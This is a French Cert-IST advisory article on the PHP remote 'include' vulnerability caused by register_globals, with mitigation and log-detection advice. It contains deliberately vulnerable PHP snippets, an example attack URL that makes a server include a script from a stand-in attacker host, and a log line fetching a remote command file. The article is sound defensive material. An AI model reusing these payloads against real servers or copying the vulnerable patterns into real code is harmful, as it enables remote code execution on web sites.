Vulnérabilité "include" sous PHP
Date : 22 Juin 2005
Au début du mois de septembre, le Cert-IST a émis un bulletin d'information (CERT-IST/IF-2003.006 : Vulnérabilité "include" sur PHP) attirant l'attention de notre communauté sur les attaques de sites web PHP. Cet article du Bulletin décrit plus en détail la vulnérabilité "include" et les moyens de s'en protéger.
Gestion des paramètres des scripts PHP
La vulnérabilité "include" de PHP est due à un problème plus général, qui est la façon dont PHP gère les paramètres qui sont transmis aux scripts PHP. Dans un fonctionnement par défaut (pour les versions de PHP antérieures à la version 4.2.0), PHP crée en effet des variables locales pour chacun des paramètres passés par l'utilisateur à un script PHP.
Par exemple, prenons le cas où un serveur PHP reçoit la requête GET suivante :
http://www.mon_site.com/test.php?param1=toto
Quand le serveur PHP traite cette requête, il lance le script "test.php" et initialise une variable de nom "param1" avec la valeur "toto". Il s'agit là d'un mécanisme générique, c'est à dire que quel que soit le nom du paramètre placé dans la requête (ici "param1"), une variable de ce nom va être créée dans le contexte d'exécution du script PHP.
Ce comportement est problématique car un internaute "malicieux" peut par ce moyen forcer la valeur de certaines variables d'un script PHP, si ces variables ne sont pas explicitement initialisées à l'intérieur du programme PHP.
Quelles sont les versions de PHP impactées?
Les versions de PHP vulnérables sont les versions antérieures à la version 4.2.0. En effet, a partir de la version 4.2.0, la configuration par défaut de PHP n'est plus vulnérable à ce type d'attaque, car le paramètre "register_global" du fichier "php.ini" a par défaut la valeur "off". Cependant, il est courant de rencontrer des applications qui nécessitent de mettre le paramètre "register_globals" à "on" (car sinon l'application ne marche pas), et qui sont donc vulnérables.
La vulnérabilité "include"
La vulnérabilité "include" est en fait l'application du problème précédemment exposé au cas où des scripts PHP contiennent des instructions "include" contenant une variable. Par exemple; supposons un page Web de nom "erreur.php" contenant le code suivant :
<?php
include($file);
?>
Si la variable "$file" n'est pas explicitement initialisée (par exemple parce qu'il n'a pas été prévu que le fichier "erreur.php" soit directement appelé par l'internaute), alors il est possible pour un attaquant de faire exécuter n'importe quel code PHP sur ce serveur Web en utilisant une URL telle que :
http://www.mon_site.com/erreur.php?file=http://www.site_pirate.com/attack.php
En effet, dans ce cas, l'instruction "include ($file)" va en fait déclencher l'exécution du script "attack.php" que l'attaquant aura installé sur son propre site.
Ce type d'attaque est très courant, car beaucoup de sites, dans un soucis de portabilité et de maintenance, utilisent des directives PHP du type 'include ("$base_dir/param.php")'
Ce problème n'existe pas que pour la directive "include()" : toute directive qui provoque l'exécution d'un fichier externe sera vulnérable si cette directive utilise des variables. Le même type d'attaque est donc aussi possible avec les directives : "require()", "require_once()" et "include_once".
Comment se protéger ?
Pour se protéger contre ce type d'attaque, il faut positionner dans le fichier de configuration "php.ini" la directive "register_global" à "off". Dans ce cas, les paramètres d'un script PHP ne sont plus automatiquement des variables globales, et le développeur doit alors utiliser les variables "$HTTP_GET_VARS", "$HTTP_POST_VARS", etc… pour les récupérer. Attention cependant, car beaucoup d'applications (conçues depuis un certain temps, ou sans soucis de sécurité) ne fonctionnement plus si la directive "register_global" est configurée à "off".
Cette solution n'est pas la panacée. En effet, certains scripts sont mal écrits, et restent vulnérables, quelle que soit la valeur affectée au paramètre "register_global". C'est le cas du code suivant :
if (isset($HTTP_GET_VARS))
{
while(list($var,$val)=each($HTTP_GET_VARS))
{
$$var=$val;
}
}
Ici en effet, le programmeur prend consciencieusement tous les paramètres reçus au travers de la variable "$HTTP_GET_VARS" pour en faire des variables globales … ce qui bien sûr revient à annuler totalement la protection "register_global=off".
Finalement, il peut être intéressant de rechercher dans les journaux du serveur Web les traces laissées par les attaques de type " include". Il s'agit de toutes les lignes du fichier "access.log" ou "error.log" contenant un paramètre commençant par "http://".
Par exemple :
/index.php?file=http://www.myxpls.hpg.com.br/cmd.txt&cmd=uname%20-a
Attention aux "faux positifs" cependant : certains scripts PHP utilisent de façon légitime des appels GET de ce type. C'est le cas par exemple quand on demande la traduction d'une page Web (l'URL de la page à traduire est alors passée en paramètre).